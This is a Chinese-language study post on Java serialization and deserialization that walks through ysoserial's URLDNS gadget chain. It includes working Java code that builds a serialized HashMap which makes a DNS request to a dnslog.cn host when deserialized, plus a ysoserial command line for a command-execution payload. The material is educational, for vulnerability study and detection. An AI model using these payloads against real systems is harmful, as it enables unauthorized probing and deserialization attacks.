JAVA序列化与反序列化

熟悉php的朋友肯定都了解php的序列化和反序列化,简单来说序列化就是把对象变成字符串的形式,反序列化就是再把他转化过来,而在java中,逻辑还是这样的逻辑,在实现上面却有一点不同
php序列化后看到的是字符串的形式,可以看到里面的方法和属性等,是比较直观的,而JAVA中是字节流的形式,通俗点说就是二进制内容,实质上也即是一个byte[]数组,这样可以存储在文件里或在网络中传输;反序列化则是将字节流转化为对象。

序列化

一个Java对象要能够实现序列化,则必须要实现一个java.io.Serializable或者Externalizable接口的类对象

Serializable接口:是Java的一个空接口,也被称为标记接口,一旦实现了此接口,该类的对象就是可序列化的,它的定义如下:

public interface Serializable{
}

主要作用是用来标识当前类可以被ObjectOutputStream序列化以及可以被ObjectInputStream反序列化

writeObject

Java中,java.io.ObjectOutputStream代表对象输出流,它里面的writeObject(Object obj)方法可对指定参数obj对象进行序列化,把得到的字节序列写到一个目标输出流中,而且只有实现了SerializableExternalizable接口的类的对象才能被序列化,Externalizable接口是继承自Serializable接口的.

简单来说要序列化一个类需要满足以下的条件

1.创建一个对象输出流ObjectOutputStream
2.通过对象输出流的writeObject()方法写对象
ByteArrayOutputStream 这个类实现了一个输出流,可以捕获内存缓冲区的数据,其中数据被写入一个字节数组。 缓冲区会随着数据写入而自动增长

FileOutputStream,意为文件输出流,是用于将数据写入File或 FileDescriptor的输出流。

而在ObjectOutputStream是需要传入一个输入流的

java.io.ObjectOutputStream.close() 方法用于关闭流。必须调用此方法以释放与流关联的资源。

接着来编写一下测试类

package com.c1oud;

import java.io.Serializable;

public class test implements Serializable{
    private String name;
    int age;
    public String address;
    public test(){

    }
    private test(String name){
        this.name = name;
    }
    test(String name,int age){
        this.name=name;
        this.age=age;
    }
    public test(String name,int age,String address){
        this.name = name;
        this.age = age;
        this.address = address;
    }
    private void function(){
        System.out.println("function");
    }
    public void method1(){
        System.out.println("method");
    }
    public void method2(String s){
        System.out.println("method:"+s);
    }
    public String method3(String s,int i){
        return s + "," + i;
    }

    @Override
    public String toString() {
        return "Student{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", address='" + address + '\'' +
                '}';
    }
}

接着写主方法进行序列化

package com.c1oud;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.lang.Runtime;
import java.io.*;

public class demo{
    public static void main(String[] args) throws Exception{
        try{
            test st = new test("c1oud", 12, "China");
            ByteArrayOutputStream b = new ByteArrayOutputStream();
            ObjectOutputStream c = new ObjectOutputStream(b);
            c.writeObject(st);
            System.out.println(b);

        }
        catch(Exception e){
            //do nothing
        }
    }
}

运行后的数据是乱码的,是因为拿到的是字节流的数组

然后可以用SerializationDumper工具来看下序列化出来的数据:
SerializationDumper下载地址:https://github.com/NickstaDB/SerializationDumper/

先改一下让序列化后的数据写入文件

package com.c1oud;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.lang.Runtime;
import java.io.*;

public class demo{
    public static void main(String[] args) throws Exception{
        try{
            test st = new test("c1oud", 12, "China");
            FileOutputStream b = new FileOutputStream("/Users/c1oud/Desktop/a.ser");
            ObjectOutputStream c = new ObjectOutputStream(b);
            c.writeObject(st);
            System.out.println(b);

        }
        catch(Exception e){
            //do nothing
        }
    }
}

然后用工具直接读

java -jar /Users/c1oud/Desktop/java_tool/SerializationDumper-master/SerializationDumper.jar -r ./a.ser

接着来看看反序列化

反序列化

有了序列化对应也应该又反序列化,反序列化使用java.io.ObjectInputStream,这个代表对象输入流,里面的readObject()方法可以从一个源输入字节流里读取数据,然后将其转为对应的对象。

readObject

反序列化也需要满足以下条件

1.创建一个对象输出流ObjectInputStream
2.通过对象输出流的readObject()方法输出对象
ByteArrayInputSteam类从内存中的字节数组中读取数据,因此它的数据源是一个字节数组。这个类的构造方法包括: 
     ByteArrayInputStream(byte[] buf)--------参数buf指定字节数组类型的数据源。 
     ByteArrayInputStream(byte[] buf, int offset, int lenght)-----参数buf指定字节数组类型数据源,参数offset指定从数组中开始读取数据的起始下标位置,lenght指定从数组中读取的字节数。 
    ByteArrayInputStream类本身采用了适配器设计模式,它把字节数组类型转换为输入流类型,使得程序能够对字节数组进行读操作。 

toByteArray()就是将一个字节流转化为byte数组

同样编写以下demo

package com.c1oud;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.lang.Runtime;
import java.io.*;

public class demo2{
    public static void main(String[] args) throws Exception{
        try{
            test st = new test("c1oud", 19, "China");
            ByteArrayOutputStream b = new ByteArrayOutputStream();
            ObjectOutputStream c = new ObjectOutputStream(b);
            c.writeObject(st);
            System.out.println(b);

            ByteArrayInputStream dd = new ByteArrayInputStream(b.toByteArray());
            ObjectInputStream pp = new ObjectInputStream(dd);
            Object obj = (Object)pp.readObject();
            //test zz = (test)obj;
            System.out.println(obj);
        }
        catch(Exception e){
            //do nothing
        }
    }
}

简单说明一下,序列化放到内存中后,首先创建一个对象dd表示内存里面的字节数组,然后创建输入流pp,里面包装了一个字节数组输入流(dd),然后将它反序列化成一个对象obj,可以选择性把他强制类型转化成test类。

总结

做个小总结,当需要序列化的时候,先确定写入内存还是文件,再创建ObjectOutputStream对象,再调用里面的writeObject()方法;当需要反序列化时,同样先确定后从文件还是内存中读取,再先创建ObjectInputStream对象,再调用里面的readObject()方法即可,还有一点就是必须要继承了Serializable接口的类才能被序列化。

URLDNS

借用p神的一句话,学习Java反序列列化,还是要先从URLDNS开始看起,因为它⾜足够简单。

先简单介绍一下什么是ysoserial


ysoserial是一个工具,可以让用户自由选择利用链(也叫做gadget),然后生成反序列化数据,再将这些数据发给目标,进而执行命令

使用:
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 "id"

如上,ysoserial⼤大部分的gadget的参数就是⼀一条命令,⽐如这里是 id 。⽣成好的POC发送给目标,如果目标存在反序列化漏洞,并满足这个gadget对应的条件,则命令 id 将被执⾏

再来看看什么是URLSDNS

URLDNS 就是ysoserial中一个利⽤链的名字,但准确来说,这个其实不能称作“利用链”。因为其参数不 是一个可以“利用”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执行,⽽是⼀次DNS请求。
虽然这个“利用链”实际上是不能“利用”的,但因为其如下的优点,⾮常适合我们在检测反序列化漏洞时 使用:
使⽤Java内置的类构造,对第三⽅方库没有依赖 在目标没有回显的时候,能够通过DNS请求得知是否存在反序列列化漏洞

先来看看本来的利用链子

public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        /**
         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
         * using the serialized object.</p>
         *
         * <b>Potential false negative:</b>
         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.</p>
         */
        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

看到 URLDNS 类的 getObject ⽅法,ysoserial会调⽤这个⽅法获得Payload。这个⽅法返回的是⼀个对象,这个对象就是最后将被序列化的对象,在这⾥是 HashMap 类也就是ht对象。

前面说过,触发反序列化需要readobject方法,直接HashMap跟进一下找一下里面的readobject方法

   private void readObject(ObjectInputStream s)
        throws IOException, ClassNotFoundException {

        ObjectInputStream.GetField fields = s.readFields();

        // Read loadFactor (ignore threshold)
        float lf = fields.get("loadFactor", 0.75f);
        if (lf <= 0 || Float.isNaN(lf))
            throw new InvalidObjectException("Illegal load factor: " + lf);

        lf = Math.min(Math.max(0.25f, lf), 4.0f);
        HashMap.UnsafeHolder.putLoadFactor(this, lf);

        reinitialize();

        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0) {
            throw new InvalidObjectException("Illegal mappings count: " + mappings);
        } else if (mappings == 0) {
            // use defaults
        } else if (mappings > 0) {
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

看到最后的for循环里面 K key = (K) s.readObject();他让key等于反序列化后的对象后调用了hash和putVal函数,先跟进hash()函数:

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

进行了一个简单的判断,显然这里key不等于空,会调用hashcode函数,这里回过来看看key到底是什么

key是通过生成一个URLStreamHandler的对象,把这个对象当做hashMapkey值的,但在反序列化中URLStreamHandler是一个抽象类不能直接实例化,需要实现这个类,只能用该类的子类URLStreamHandler

所以在ysoserial里面key是传入的url(java.net.URL)对象,接着看java.net.URL里面的hashCode方法

    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

hashCode = -1的话会执行hashCode = handler.hashCode(this)
在url类里面有对hashCode的默认赋值是等于-1的,那么也就会进入到URLStreamHandlerhashcode方法,注意这两个hashcode方法是来自不同类

接着进入里面的hashcode方法

调用了getHostAddress()方法,这个方法是解析域名的作用
接着跟进去

这⾥ InetAddress.getByName(host) 的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次DNS查询。到这⾥就不必要再跟了。

最后梳理一下流程

1. HashMap->readObject()
2. HashMap->hash()
3. URL->hashCode()
4. URLStreamHandler->hashCode()
5. URLStreamHandler->getHostAddress()
6. InetAddress->getByName()

要构造这个Gadget,只需要初始化⼀个 java.net.URL 对象,作为 key 放在 java.util.HashMap中;然后,设置这个 URL 对象的 hashCode 为初始值 -1 ,这样反序列化时将会重新计算
hashCode ,才能触发到后⾯的DNS请求,否则不会调⽤ URL->hashCode() 。

demo

梳理完整个流程后来编写一下demo

我们先看一下HashMap的put方法

这里也会进入到hash方法里面会触发一次dns请求,但是又需要用到HashMap的put方法来给key赋值,所以demo要进行一下修改来验证反序列化执行的请求,先看看put方法是否真的能执行。

package com.c1oud;

import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.net.URL;
import java.util.HashMap;

public class DNSTEST {
    public static void main(String[] args) throws Exception{
        HashMap test = new HashMap();
        URL url = new URL("http://n7z1yd.dnslog.cn");
        test.put(url,123);
    }
}

确实是执行了一次请求,为了让结果看到只是反序列化后才请求的,稍微改一下demo

package com.c1oud;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS{
    public static void main(String[] args) throws Exception{
        HashMap hashMap = new HashMap();
        URL url = new URL("http://d4ul5r.dnslog.cn");//设置url
        Field field = Class.forName("java.net.URL").getDeclaredField("hashCode");
        field.setAccessible(true);  // 修改访问权限
        field.set(url,1);//将hashCode的值设为非-1,这样确保不会在HashMap.put处发生DNS解析
        hashMap.put(url,"aa");//将key设为url,右边参数是value随便传
        field.set(url,-1);//将hashCode的值调为-1,触发DNS查询

        ObjectOutputStream p1 = new ObjectOutputStream(new FileOutputStream("a.ser"));//序列化
        p1.writeObject(hashMap);

        ObjectInputStream p2 = new ObjectInputStream(new FileInputStream("a.ser"));//反序列化
        p2.readObject();
    }
}

也可以成功

Tips

另外,ysoserial为了防⽌在⽣成Payload的时候也执⾏了URL请求和DNS查询,所以重写了⼀个 SilentURLStreamHandler 类,这不是必须的。

根据调用链,最后会调用handlergetHostAddress方法。Ysoserial创建了一个URLStreamHandler的子类:SilentURLStreamHandler,该类重写了getHostAddress()方法,防止put的触发。

当时这里引发了我一个思考,如果他把这个getHostAddress这个方法重写了,那么调用put方法的时候确实不会执行dns解析,但是反序列化的时候好像也不能解析了啊。

再回过来看这个链子,注意看这里

这里的handler是继承了重写方法的那个类,那么通过put进入到这里的时候

此时handler里面hashCode方法里面的getHostAddress是被重写了的,也就不会调用,在看handler这个属性

他是transient的,也就是不会被序列化,那么当序列化的时候定义的这个handler也就失效了,对应的重新方法也就失效了,当反序列化回来后,再次调用的handler也就是URLStreamHandler类里面本来的handler,拥有可以正常的执行dns请求的getHostAddress方法,最终得到payload。

另外再来看看代码Reflections.setFieldValue(u, "hashCode", -1);,这其中的setFieldValue()ysoserial项目自定义反射类的一个函数:

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

就是通过反射来设置url的值为-1,这样可以确保在反序列化readObject()函数时能调用handler.hashCode(this),最后再利用PayloadRunner.run(URLDNS.class, args);进行反序列化

最后总结下,如果要构造这条gadget,只需要初始化一个java.net.URL对象,然后作为key放入java.util.HashMap里,接着设置hashCode的值为-1,这样在反序列化时才能触发到DNS请求。

参考链接

http://blog.o3ev.cn/yy/1075
http://arsenetang.com/page/2/
https://www.cnblogs.com/Mikasa-Ackerman/p/Yso-zhong-deURLDNS-fen-xi-xue-xi.html
https://www.cnblogs.com/0x7e/p/15215101.html